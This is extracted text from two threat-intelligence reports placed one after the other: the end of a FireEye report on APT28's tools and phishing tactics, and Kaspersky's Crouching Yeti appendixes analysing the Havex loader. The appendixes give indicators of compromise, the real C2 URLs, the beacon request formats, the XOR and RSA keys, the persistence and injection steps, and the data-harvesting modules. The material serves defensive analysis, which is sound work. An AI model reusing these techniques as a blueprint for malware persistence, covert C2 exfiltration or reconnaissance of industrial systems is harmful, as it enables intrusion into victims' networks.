PETERSBURG IN ADDITION, APT28S DEVELOPERS CONSISTENTLY BUILT MALWARE IN RUSSIAN LANGUAGE SETTINGS UNTIL 2013 APPENDIX: APT28s Tools, Tactics, and Operational Changes SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM 10 APT28S MALWARE SUITE TOOL ROLE AK A CHOPSTICK backdoor Xagent, webhp, SPLM, (.v2 fysbis) EVILTOSS backdoor Sedreco, AZZY, Xagent, ADVSTORESHELL, NETUI GAMEFISH backdoor Sednit, Seduploader, JHUHUGIT, Sofacy SOURFACE downloader Older version of CORESHELL, Sofacy OLDBAIT credential harvester Sasfis CORESHELL downloader Newer version of SOURFACE, Sofacy APT28S OPERATIONAL CHANGES SINCE 2014 APT28 continues to evolve its toolkit and refine its tactics in what is almost certainly an effort to protect its operational effectiveness in the face of heightened public exposure and scrutiny.
In addition to the continued evolution of the groups first stage tools, we have also noted APT28: Leveraging zero-day vulnerabilities in Adobe Flash Player, Java, and Windows, including CVE-2015-1701, CVE-2015-2424, CVE-2015-2590, CVE-2015-3043, CVE-2015-5119, and CVE- 2015-7645.
Using a profiling script to deploy zero-days and other tools more selectively, decreasing the chance that researchers and others will gain access to the groups tools.
Increasing reliance on public code depositories, such as Carberp, PowerShell Empire, P.A.S.
webshell, Metasploit modules, and others in a likely effort to accelerate their development cycle and provide plausible deniability.
Obtaining credentials through fabricated Google App authorization and Oauth access requests that allow the group to bypass two-factor authentication and other security measures.
Moving laterally through a network relying only on legitimate tools that already exist within the victims systems, at times forgoing their traditional toolset for the duration of the compromise.
These changes are not only indicative of APT28s skills, resourcefulness, and desire to maintain operational effectiveness, but also highlight the longevity of the groups mission and its intent to continue its activities for the foreseeable future.
SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM 11 APT28 TACTICS We have observed APT28 rely on four key tactics when attempting to compromise intended targets.
These include sending spear-phishing emails that either deliver exploit documents that deploy malware onto a users systems, or contain a malicious URL designed to harvest the recipients email credentials and provide access to the their accounts.
APT28 has also compromised and placed malware on legitimate websites intending to infect site visitors, and has gained access to organizations by compromising their web-facing servers .
APT28 IS IN YOUR NETWORK.
Victim goes to link and retrieves malicious document or is served a web-based exploit that installs malware.
(
Flash Vulnerability CVE- 2016-7855 and Windows Vulnerability CVE-2016-7255 were exploited as zero days to install malware on victims who visited a malicious URL).
Victim opens document, and malware is installed by exploiting a vulnerability (e.g., ARM-NATO_ ENGLISH_30_NOV_2016.
doc leveraged an Adobe Flash exploit, CVE-2016-7855, to install GAMEFISH targeted machine).
TACTIC Craft exploit document with enticing lure content.
Send exploit document to victim.
Send link mirroring structure of legitimate organizations site that is designed to expire once users clickit.
Register a domain spoofing that of a legitimate organization (e.g., theguardiannews[.
]org).
INFECTION WITH MALWARE VIA SPEAR PHISH Person is asked to authorize application to view mail and gives access.
APT28 leverages OAuth privileges given to malicious application to read email.
Recipient visits fake login page and enters credentials.
APT28 uses stolen credentials to access mailbox and read email.
Register a domain spoofing a webmail service or an organizations webmail portal (e.g., 0nedrive-0ffice365[.
]com) Send email to targets instructing them to reset their passwords.
Send email to victims warning of security risk and asking them to enable security service.
TACTIC WEBMAIL ACCESS VIA SPEAR-PHISH SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM 12 APT28 IS IN YOUR NETWORK.
Users of the site are redirected using malicious iFrame and profiled (e.g, this technique was used to compromise and infect visitors to numerous Polish Government websites in 2014).
Exploit is served to users matching the target profile and malware is installed on their system.
Compromise a legitimate site and set up malicious iFrame.
TACTIC INFECTION WITH MALWARE VIA STRATEGIC WEB COMPROMISE (SWC) APT28 IS IN YOUR NETWORK.
Exploitation of previously known vulnerabilities present on unpatched systems.
Leverage initial compromise to access other systems and move deeper into the victim network.
Network reconnaissance to find vulnerable software.
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Milpitas, CA 95035 408.321.6300 / 877.FIREEYE (347.3393) / infoFireEye.com www.
FireEye.com To download this or other FireEye iSIGHT Intelligence reports, visit: www.fireeye.com/reports.html 2016 FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
GRAF-60.
Crouching Yeti  Appendixes Kaspersky Lab Global Research and Analysis Team Version 1.0 July 2014 TLP: Green For any inquire please contact intelreportskaspersky.com Contents I.
Appendix 1: Indicators of compromise        3 II.
Appendix 2: Havex loader  detailed analysis       5 III.
Appendix 3: The Sysmain backdoor  detailed analysis     47 IV.
Appendix 4: Ddex loader  detailed analysis       54 V. Appendix 5: The ClientX backdoor  detailed analysis     57 VI.
Appendix 6: Karagany backdoor  detailed analysis      65 VII.
Appendix 7: CC Analysis         71 VIII.
Appendix 8: Victim identification        73 IX.
Appendix 9: Hashes          81 X.
Appendix 10: Delivery methods  detailed analysis      86 10.1.
Hijacked installers of legitimate software      86 10.2.
Exploitation          90 10.3.
Obvious Metasploit Rips        102 10.4.
Changing Lights Out exploit sites download flow     104 10.5.
Related Targeted Software and CVE Entries     105 XI.
Appendix 11: Malicious Domains and Redirectors      108 XII.
Appendix 12: Previous and parallel research      115 TLP: Green For any inquire please contact intelreportskaspersky.com 3 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com I.
Appendix 1: Indicators of compromise Files: SYSTEM\TMPprovider0XX.dll SYSTEM\svcprocess0XX.dll SYSTEM\Phalanx-3d.
Agent.dll SYSTEM\Phalanx-3d.
ServerAgent.dll COMMON_APPDATA\TMPprovider0XX.dll COMMON_APPDATA\Phalanx-3d.
Agent.dll COMMON_APPDATA\Phalanx-3d.
ServerAgent.dll APPDATA\TMPprovider0XX.dll APPDATA\Phalanx-3d.
Agent.dll APPDATA\Phalanx-3d.
ServerAgent.dll APPDATA\sydmain.dll TEMP\TMPprovider0XX.dll TEMP\Phalanx-3d.
Agent.dll TEMP\Phalanx-3d.
ServerAgent.dll TEMP\srvsce32.dll TEMP\tmpnet.dll TEMP\tmp687.dll TEMP\.xmd TEMP\.yls TEMP\qln.dbx TEMP\Low\ddex.exe TEMP\Low\tmppnet.dll TEMP\Low\ntp.tmp TEMP\Low\task.tmp TEMP\Low\ldXXXX.TMP TEMP\bp.exe TEMP\tmp1237.txt C:\ProgramData\ C:\ProgramData\Cap\ C:\ProgramData\Mail\ C:\ProgramData\Mail\MailAg\ C:\ProgramData\Cap\Cap.exe C:\ProgramData\Mail\MailAg\scs.jpg 4 TLP: Green For any inquire please contact intelreportskaspersky.com C:\ProgramData\Mail\MailAg\scs.txt Registry values: HKLM\Software\Microsoft\Windows\CurrentVersion\RunTMP provider HKCU\Software\Microsoft\Windows\CurrentVersion\RunTMP provider HKLM\Software\Microsoft\Internet Explorer\InternetRegistryfertger HKCU\\Software\Microsoft\Internet Explorer\InternetRegistryfertger HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows LoadTEMP\Low\ddex.exe HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows LoadTEMP\Low\ddex.exe HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLDID HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLDprv HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLDpubm HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLDpub HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLDnN (where N:[0,x]) HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLDpN (where N:[0,x]) HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLDsN (where N:[0,x]) Mutexes: (6757) HKCU/Identities/Default User ID-18890 example: 8B01CFB5-FF66-4404-89E2- 27E06475EA38-18890 AD-18890 HKCU/Identities/Default User ID-01890 example: 8B01CFB5-FF66-4404-89E2- 27E06475EA38-01890 ED-01890 Named pipes: \\.\pipe\mypype-f0XX \\.\pipe\mypype-g0XX \\.\pipe\mypipe-h0XX 5 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com II.
Appendix 2: Havex loader  detailed analysis 2.1.
Detailed analysis of the HAVEX loader sample (version 038) File metadata and resources SHA-256: 401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67 Size:  327168 Compiled: Mon, 30 Dec 2013 12:53:48 UTC C2 urls: zhayvoronok.com/wp-includes/pomo/idx.php dreamsblock.com/witadmin/modules/source.php stalprof.com.ua/includes/domit/src.php Resource: ICT 0x69, contains encrypted config: 12.MTMxMjMxMg.5.havex.10800000.12.Explorer.EXE.0.3.40.zhayvoronok.com/ wp-includes/pomo/idx.php.43.dreamsblock.com/witadmin/modules/source.php.38.
stalprof.com.ua/includes/domit/src.php.354.AATXnMiwLuxCoMG7SqY1uQxAk1qLdyo ED9LxIVQr2Z/gsrHIsgTvK9AusdFo9..fzAxf1zXj42880kUmktmVb5HSYi8T27Q54eQ4ZLUFK PKZstgHcwPVHGdwpmmRmk..09fL3KGd9SqR60Mv7QtJ4VwGDqrzOjaMl4SI7e60C4qDQAAAAAAA AAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAA AAAAAAAAAAAAAAAQAB.2.25.26.5265882854508EFCF958F979E4.600000.2000.323000.
Base64 encrypted string MTMxMjMxMg (1312312 after decoding) is used as a XOR key.
6 TLP: Green For any inquire please contact intelreportskaspersky.com Code flow DLLMain Decrypt and load resource, copy config data from resource to memory Create main thread in suspended mode and thread that constantly checks some bool - if its set, main thread is resumed When the RunDllEntry export is called, the bool is set to 1 and the main thread is resumed RunDllEntry Create a window and trigger resuming of the main thread Create file and writes there the version number: TEMP\qln.dbx Create keys/values: [HKLMHKCU]\Software\Microsoft\Internet Explorer\InternetRegistry] fertger  (bot_id) bot_id  random number based on CoCreateGuid(), some calculations and some memory address examples: 001:    4288595270379021982301EAFED001 002:    1607204568126732018801F2FED002 00F:    93249038331471783200C2FED00F 012:    22561320586441617865023EFED0 013:    2627437901628051734800C2FED0 014:    1578266759509151668900DEFED0 017:    251262960942470194870241FED0 018:    1564893130116282046100B9FED0 019:    1578266759509151668900DEFED0 01A:    160720456812673201880242FE8C-1 01B:    1607204568126732018800C2FE04-1 01C:    24893503947647170630246FE04-3 01D:   2627437901628051734800C2FE04-2 01B:   1663328815238791903001EBFE04-1 029:    1842673533224541887800BEFD88-3x1 030:    3787916004501911680200BEFD88-3x1 7 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com 030:    309276719429789193750028F978-3x1 037:    24645644821769317791009AFD80-20 037:    30816051733388016549009AFD80-1 037:    6036449321755718127009AFD80-13 038:    301542815316517628009AFD80-25 038:    3126127065975717600009AFD80-25 038:    28805135293025919409009AFDA8-25 043:    18145851232284217441009AFD80-c8a7af419640516616c342b13efab 044:    292219215960920240009AFD80-6d3aef9f2cf3ca9273631663f484a 044:    2860397951987017001009AFD80-4b3c3453bdebb602642d18274c239 Copy self to SYSTEM\TMPprovider038.dll in case of failure, it tries to write to APPDATA or TEMP Create run entry: [HKLMHKCU]\Software\Microsoft\Windows\CurrentVersion\Run] TMP provider  rundll32 path\TMPprovider038.dll, RunDllEntry Create named pipe: \\.\pipe\mypipe-h038 In loop, create remote thread of explorer.exe which does: LoadLibrary(path\TMPprovider038.dll) Look for all TEMP\.xmd files, read their paths and the contents Get the base64 encrypted key from config and decode it Get the content of .xmd file and decode (base64), decrypt (using keys from config and binary) and decompress (bzip2), once decrypted and decompressed, the content of each .xmd file is saved as DLL and loaded to the memory Check for some base64 encoded data string in: [HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\Options] b  data Find .yls file, read content and (optionally) add it to the POST request Create POST request string: idvictim_idv1bot_versionv2os_verqnumber_from_config Example: id28805135293025919409009AFDA8-25v1038v2170393861q5265882854508EFCF958F979E4 Try to connect to compromised websites (C2 servers) and send POST request with the following parameters: idvictim_idv1bot_versionv2os_verqsth_from_config Example request: 8 TLP: Green For any inquire please contact intelreportskaspersky.com dreamsblock.com (ekiaiokqmo.c08.mtsvc.net, 205.186.179.176) POST /witadmin/modules/source.php?id28805135293025919409009AFDA8-25v1038v217039 3861q5265882854508EFCF958F979E4 Read the HTML file returned by the server, look for havex markers and copy data from between them Write the data to: TEMP\rand.tmp.xmd Decrypt/decompress content of xmd file to TEMP\rand.dll Load the DLL At the moment of analysis, URLs from config were not returning any data: stalprof.com.ua/includes/domit/src.php (server39.hosting.reg.ru, 37.140.193.27) 404 zhayvoronok.com/wp-includes/pomo/idx.php (78.63.99.143) 404 dreamsblock.com/witadmin/modules/source.php htmlheadmega http-equivCACHE-CONTROL contentNO-CACHE /headbodyNo data--havexhavex--/body/head0.
Encryption The 2nd stage modules are usually base64 encoded, bzip2 compressed and XORed using the recurrent 1312312 key.
In some cases, the malware can also use one 1024 bit RSA key which is embedded in the config section of the binary.
Key from resource/config: Base64 encoded: AATXnMiwLuxCoMG7SqY1uQxAk1qLdyoED9LxIVQr2Z/gsrHIsgTvK9AusdFo9fzAxf1zXj42880kUmktmVb 5HSYi8T27Q54eQ4ZLUFKPKZstgHcwPVHGdwpmmRmk09fL3KGd9SqR60Mv7QtJ4VwGDqrzOjaMl4SI7e60C4qDQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB 9 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Decoded RSA 1024 bit key: 0000000: 0004 d79f e322 c0bb bec4 2a0c 1bb4 aa63 .............c 0000010: 5b90 c409 35a8 b772 a040 fd2f 1215 42bd [...5..r../..B.
0000020: 99fe 0b2b 1c8b 204e f2bd 02eb 1d16 8fbd ..... N........ 0000030: 7f30 317f 5cd7 8f8d bcf3 4fa4 5269 2d99 .01.\.....O.Ri-.
0000040: 56f9 1d26 22f1 3dbb 439e 1e43 864b 5052 V....C..C.KPR 0000050: 8f29 9b2d 8077 303d 51c6 770a 6699 19a4 .).-.w0Q.w.f...
0000060: d3d7 cbdc a19d f52a 91eb 432f ed0b 49e1 .........C/..I.
0000070: 5c06 0eaa f33a 36be 325e 1223 b7ba d02e \....:6.2..... 0000080: 2a0d Key hardcoded in binary: Base64 encoded: w1RWs6ejexm8wgqEpulkkESs9xmLQoiY8j/ldzNJ/fPj9ttaxYg6Vo0WgP0u0Me82TuCMxmUPcj44c8zP5xOe v4F097r5saRutxj/Lmnr2AIgDqfM14GNHBQxmRQ3v0Swz6A5zaMIqQX/13dWF1seQtKysvPQmIoPjvy648 Decoded: 0000000: c354 56b3 a7a3 7b19 bcc2 0a84 a6e9 6490 .TV..........d. 0000010: 44ac f719 8b42 8898 f23f e577 3349 fdf3 D....B...?.w3I.. 0000020: e3f6 dfad 6b16 20e9 5a34 5a03 f4bb 431e ....k. .Z4Z...C. 0000030: f364 ee08 cc66 53e3 dc8f 8e1c f333 f9c4 .d...fS......3.. 0000040: e7af e05d 3dee be7e b1a4 6eb7 18ff 2e69 ...]....n....i 0000050: ebd8 0220 0ea7 ccd7 818d 1c14 3199 1437 ... ........1..7 0000060: bf44 b0cf a03e e736 8c22 a417 ff5d dd58 .D....6....].X 0000070: 5d6c 790b 4aca cbcf 4262 283e 3bf2 eb8f ]ly.
J...Bb(... 10 TLP: Green For any inquire please contact intelreportskaspersky.com Analysis of other versions of the HAVEX loader IMPORTANT:  For versions 03-0E, 010, 011, 015, 016, 023, 026-028, 02A-02F, and 031-036 no samples are known at the moment.
Differences between versions It seems there are over 50 different versions of Havex malware, internally identified by hex numbers from 01 to 044 (the latest known at the time of writing).
Versions 01  019: Contain strings that may be related to password harvesting, even though the code that would actually search for the passwords was not identified inside this component.
Its possible that these strings are part of the configuration and are used by downloaded modules as a list of names of processes that the malware wants to hijack in order to steal passwords from the memory.
Versions 017  037: Instead of the GET request, send a POST request to the C2.
The contents of the POST differ between versions.
Versions 01A  038: Check proxy settings in the registry and use them if required.
Versions 01B  044: Use an asymmetric crypto algorithm (RSA) to decrypt the downloaded binaries.
(
Previous versions use simple XOR based encryption).
Versions 020  025: Check the Internet connection by trying to connect to google.com: CONNECT google.com:80 HTTP/1.0 Collect system information, write it to .yls file.
Later, append these contents to the POST request string.
Collected information includes: Unique system ID OS Username Computer name Country Language Current IP List of drives Default Browser 11 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Running Processes Proxy Setting User Agent Email Name BIOS version and date Lists of files and folders (non-recursive) from the following paths: C:\Documents and Settings\User\Desktop\.
C:\Documents and Settings\User\My Documents\.
C:\Documents and Settings\User\My Documents\Downloads\.
C:\Documents and Settings\User\My Documents\My Music\.
C:\Documents and Settings\User\My Documents\My Pictures\.
C:\Program Files\.
Root directory of all fixed and removable drives.
Version 025: Contains a debugging symbols path, which may suggest that the project was internally called PhalangX: d:\Workspace\PhalangX 3D\Src\Build\Release\Phalanx-3d.
ServerAgent.pdb Version 038  040: Does not contain the routine that collects system info, yet the malware checks for potential previously created .yls files, and appends the content of them to the POST request.
Instead of values hardcoded in the binary, this is a first version to use a resource to store encrypted config.
Detailed analysis of this version is included in this appendix.
Version 043  044: Size similar to 037 and earlier versions dll name is now 0XX.dll (where XX is version number), the unk value in config is now 29 bytes long.
Features common across multiple versions EXPORTS: RunDllEntry, runDll (all versions) INJECT TO: Explorer.
EXE (all versions) REG VALUES CREATED: [HKLMHKCU]\Software\Microsoft\Windows\CurrentVersion\Run TMP provider  rundll32 TEMP\TMPprovider0XX.dll, runDll [HKLMHKCU]\Software\Microsoft\Internet Explorer\InternetRegistry fertger  id(all versions) 12 TLP: Green For any inquire please contact intelreportskaspersky.com FILES CREATED: path\TMPprovider0XX.dll (versions  040) TEMP\.xmd (all versions) TEMP\.yls (ver 01A - 044) TEMP\qln.dbx (ver 038 - 044) PIPES: \\.\pipe\mypype-f0XX (ver 01 - 025) \\.\pipe\mypype-g0X (ver 01  02) \\.\pipe\mypipe-f0XX (ver 029 - 038) \\.\pipe\mypipe-h0XX (ver 029 - 038) STRINGS: (all versions) q Mozilla/5.0 (Windows U Windows NT 6.1 en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.36 Safari/525.19 (ver 01 - 030) havex 1312312 (ver 0F, 012, 014, 018) Phalanx-3d.Agent.dll (ver 01A - 038) User Password BUTTON (ver 01B - 030) AATXnMiwLuxCoMG7SqY1uQxAk1qLdyoED9LxIVQr2Z/gsrHIsgTvK9AusdFo9fzAxf1zXj42880kUmktmVb 5HSYi8T27Q54eQ4ZLUFKPKZstgHcwPVHGdwpmmRmk09fL3KGd9SqR60Mv7QtJ4VwGDqrzOjaMl4SI7e60C4qDQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB (ver 029 - 038) w1RWs6ejexm8wgqEpulkkESs9xmLQoiY8j/ldzNJ/fPj9ttaxYg6Vo0WgP0u0Me82TuCMxmUPcj44c8zP5xOe v4F097r5saRutxj/Lmnr2AIgDqfM14GNHBQxmRQ3v0Swz6A5zaMIqQX/13dWF1seQtKysvPQmIoPjvy648 (ver 020 - 025) 2003 Vista UserName ComputerName 13 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Control Panel\International\ sCountry Country sLanguage Language Control Panel\International\Geo\ Nation Not connected Dial-up LAN Connection InetInfo CurrentIP - Removable - Fixed - Remote - CDROM - Ramdisk Drive http\shell\open\command .exe DefaultBrowser ListProcess data64 HARDWARE\DESCRIPTION\System BiosReg Desktop MyDocs ProgFiles CONNECT google.com:80 HTTP/1.0 Proxy-Authorization:Basic google.com GET / HTTP/1.1 Host: google.com (ver 025) Phalanx-3d.ServerAgent.dll d:\Workspace\PhalangX 3D\Src\Build\Release\Phalanx-3d.
ServerAgent.pdb (ver 029  030) 5265882854508EFCF958F979E4 (ver 024, 029 - 038) v1 14 TLP: Green For any inquire please contact intelreportskaspersky.com v2 (ver 037  038) MTMxMjMxMg (ver 038 - 044) 21f34 (ver 043 - 044) 04X.dll (instead of TmpPorvider0XX.dll) C2 communication Versions  01B: GET request format:  idvictim_idbot_version-os_ver Example   id1812102418169072044901A0FED0014-170393861 Versions 01B - 025: GET request format:  idvictim_id-unk-bot_version-os_ver Example:   id228711719898841835201A0FDC0-3-021-170393861 Versions 029 - 044: POST request format: idvictim_id-unkv1bot_versionv2os_ver qnumber_from_configoptional: content_of_yls_file Examples:   id28805135293025919409009AFDA8-25v1038 v2170393861q5265882854508EFCF958F979E4 id21893020302943319666009AFD80-6d3aef9f2cf3ca9273631663f484av 1044v2170393861q35a37eab60b51a9ce61411a760075 Examples of unkvalues:  version 01B  1 version 01C  2 version 01D  1, 2 version 01E  3 version 01F  1, 2, 3, 0 version 020  3, null, 0 version 021  3, null version 022  3, null, 12 version 024  13, 16, 1, 31, 61, 3, 3x1, 4, 12 version 025  x1, null 15 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com version 029  3x1 version 030  3x1 version 031  1, 3 ver 031,035,036 1 version 037  1, 6, 13, 33, 20, 25, 3x1 version 038  25, 20, 1, 13,891062d5c51294011447f8168 bc4437c version 040: eb383a9a8e7a4ef5283f2f48a5cd6 version 043: e4d935d271cfb6927d29c74c39558 c8a7af419640516616c342b13efab version 044: 6d3aef9f2cf3ca9273631663f484a Downloadable modules Main characteristics: DLL files that collect assorted information Downloaded by the main Havex module Stored in TEMP\xmd files in an encrypted form Decrypted and executed by Havex loader Each module contains config stored as a resource Config data is compressed with bzip2 and xored with a constant value 1312312, which is hardcoded in the binary in base64 form Config data includes 29-byte UID, 344-byte encryption key and sometimes some other info (like nk2 file path in case of outlook module) Most of them write harvested data into the TEMP\.yls files, which are then sent to the C2 by the main Havex DLL Data written to .yls files is compressed with bzip2 and encrypted with the key from the config Encryption used for log encryption is 3DES.
Each analyzed module contains the string: Copyright (c) J.S.A.Kapp 1994 - 1996.
which is related to R_STDLIB.C file (platform-specific C library routines for RSAEURO crypto library) OPC modules SHA-256: 7933809aecb1a9d2110a6fd8a18009f2d9c58b3c7dbda770251096d4fcc18849 Size:   251392 Compiled:  Fri, 11 Apr 2014 05:39:10 UTC SHA-256: 004c99be0c355e1265b783aae557c198bcc92ee84ed49df70db927a726c842f3 16 TLP: Green For any inquire please contact intelreportskaspersky.com Size:   251392 Compiled:  Fri, 16 May 2014 08:42:28 UTC SHA-256: 6aca45bb78452cd78386b8fa78dbdf2dda7fba6cc06482251e2a6820849c9e82 Size:   251392 Compiled:  Fri, 16 May 2014 08:42:28 UTC Detailed analysis All currently known samples are completely identical in terms of code and differ only in the content of the resource.
Code flow: Decrypt config Config consists of RSA ID (29 bytes) and RSA key (1024 bit) and is stored inside resource TYU 0215 (bzip compressed and xored with 1312312) 29 39ee448cf196304cfe9c6b1c2e436 344 AATFfxXmUZl/j8JBAwHkk8BcwTIKDcex0GQp/V9EX4nt64NGsGsTXFhuorwjKCRt6Av3vhBgT9mAP9kqY 3TnN1xMUHaoib1dw8SG9mW5YLJNu3Kwud/bYGu916U/EGh8PFGruVE2PHXD8EII710gKm00lyi5Ehjn5C SLLPKwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAQAB Create lock file in TEMP\rand.tmp (empty) Create debug log in TEMP\rand.tmp.dat Programm was started at 02i:02i:02i 02i:02i:02i.04i:  Start finging of LAN hosts... Finding was fault.
Unexpective error Was found i hosts in LAN: Hosts wast found.
Start finging of OPC Servers... Was found i OPC Servers.
i) [comp_name\ProgID] 17 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com CLSID:            server rclsid UserType:         UserType VerIndProgID:     VersionIndependentProgID OPC version support: [-][-][-] OPC Servers not found.
Programm finished Thread 02i return error code: error_code Start finging of OPC Tags... i)[s\s] Saved in OPCServer02i.txt i)[s] (not aviable) Thread 02i was terminated by ThreadManager(2) Thread 02i running... Thread 02i finished.
Look for LAN resources using Windows Networking COM objects: WNetOpenEnumW WNetEnumResource For each resource found, create a thread which checks if its an OPC server  gets detailed OPC information using the following interfaces: IID_IOPCEnumGUID    55C382C8-21C7-4E88-96C1-BECFB1E3F483 IID_IOPCServerList      13486D51-4821-11D2-A494-3CB306C10000 IID_IOPCServerList2    9DD0B56C-AD9E-43ee-8305-487F3188BF7A IID_IOPCServer     39C13A4D-011E-11D0-9675-0020AFD8ADB3 IID_IOPCBrowse     39227004-A18F-4B57-8B0A-5235670F4468 IID_IOPCBrowseServerAddressSpace  39C13A4F-011E-11D0-9675-0020AFD8ADB3 IID_IOPCItemProperties   39C13A72-011E-11D0-9675-0020AFD8ADB3 CATID_OPCDAServer10    63D5F430-CFE4-11D1-B2C8-0060083BA1FB CATID_OPCDAServer20    63D5F432-CFE4-11D1-B2C8-0060083BA1FB CATID_OPCDAServer30    CC603642-66D7-48F1-B69A-B625E73652D7 and writes collected info to the OPCServernr.txt file: s  s (Typei, Accessi, IDs) OPC Server[s\s] vi.i(bi) Server state: i Group count value: i Server band width: 08x 18 TLP: Green For any inquire please contact intelreportskaspersky.com Compress all info with bzip2 and encrypt using a random 192 bit (168 effective) 3DES key Save encrypted data to TEMP\rand.yls file .yls files are then collected by the main Havex module and sent to C2.
Outlook module SHA-256: 0859cb511a12f285063ffa8cb2a5f9b0b3c6364f8192589a7247533fda7a878e Size:   261120 Compiled:  Wed, 07 May 2014 13:22:21 UTC This module looks for outlook.nk2 files, gets the contact data from inside them and writes it to the .yls file.
Data is as always bzip2 compressed and 3DES encrypted.
Config is stored in the resource HYT 017D (bzip2 compressed and encrypted with same xor key as always).
Config consists of an RSA key ID (29 bytes), base 64 bit encodedRSA key (1024 bit) and nk2 file path (39 bytes).
outlook.nk2 is the file where Outlook  2007 stores contacts details in order to use them in its AutoComplete feature.
Config from resource HYT 017D: 29 3e5bad153e3c3ee1b735f1926ba57 344 AATiBnMKBUxUwXUCXp4ztY4nCTylL6KRsk6x44SgKDDNdQ9VB7UC86fQVLZOjpc2bdgFxi5tegJEE3SfZvQYJ1 PQ0s1zXh4xdXQxyEqllgGdaAcEOoM3dXCkQatFFYQ8pscbFkdLDrt/sWnbUTq2/KY8eCfW2QPhWgj7p8v6Cov1Q AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB 39 APPDATA\microsoft\outlook\outlook.nk2 Sysinfo module SHA-256: f4bfca326d32ce9be509325947c7eaa4fb90a5f81b5abd7c1c76aabb1b48be22 Size:   400896 Compiled:  Wed, 07 May 2014 13:19:41 UTC This module collects the same type of information about the system as Havex versions 020 - 025.
This functionality is not present in versions 026 - it was probably moved into this separate module around that time.
19 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Config in stored in resource WRT 2AF (xored with 1312312 and bzip2 compressed) 29 8900adffc5180c10d463530e3753a 344 AASjl8ZrgVvtb1XSXJgu6x1ZPjY32KQ9iyjcQZpJgp/HGhPdItvu10pBcgwIkc2uO2iYSJzXqfZAlS2fS9W9 y1Xq/7lKuVJEeQC4vgn8EsTmzj4vLWVoZOOJHrrv37YkXO6QGnFgREyLTLjnfnrTaoWg9pd6dkeC4yHEC7K8HQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB Network scanner module SHA-256: 2120c3a30870921ab5e03146a1a1a865dd24a2b5e6f0138bf9f2ebf02d490850 Size:   223232 Compiled:  Tue, 29 Oct 2013 06:09:14 UTC This module is used to decrypt and execute the binary that comes in the resource.
The EXE file is saved in TEMP\rand.exe and run using ShellExecuteExW.
Besides the binary, resource HAJ 3A0 contains hex string: 30 0A 30 0A 34 38 36 34 30 0A 3rd stage tool: network scanner SHA-256: 9a2a8cb8a0f4c29a7c2c63ee58e55aada0a3895382abe7470de4822a4d868ee6 Size:   48640 Compiled:  Wed, 06 Nov 2013 11:27:38 UTC This PE EXE file was dropped and run by EXE dropper module (2120c3a30870921ab5e0314 6a1a1a865dd24a2b5e6f0138bf9f2ebf02d490850).
Its main functionality is to scan the local network looking for machines listening on specified ports.
All information is logged into a TEMP\tracedscn.yls file in plain text.
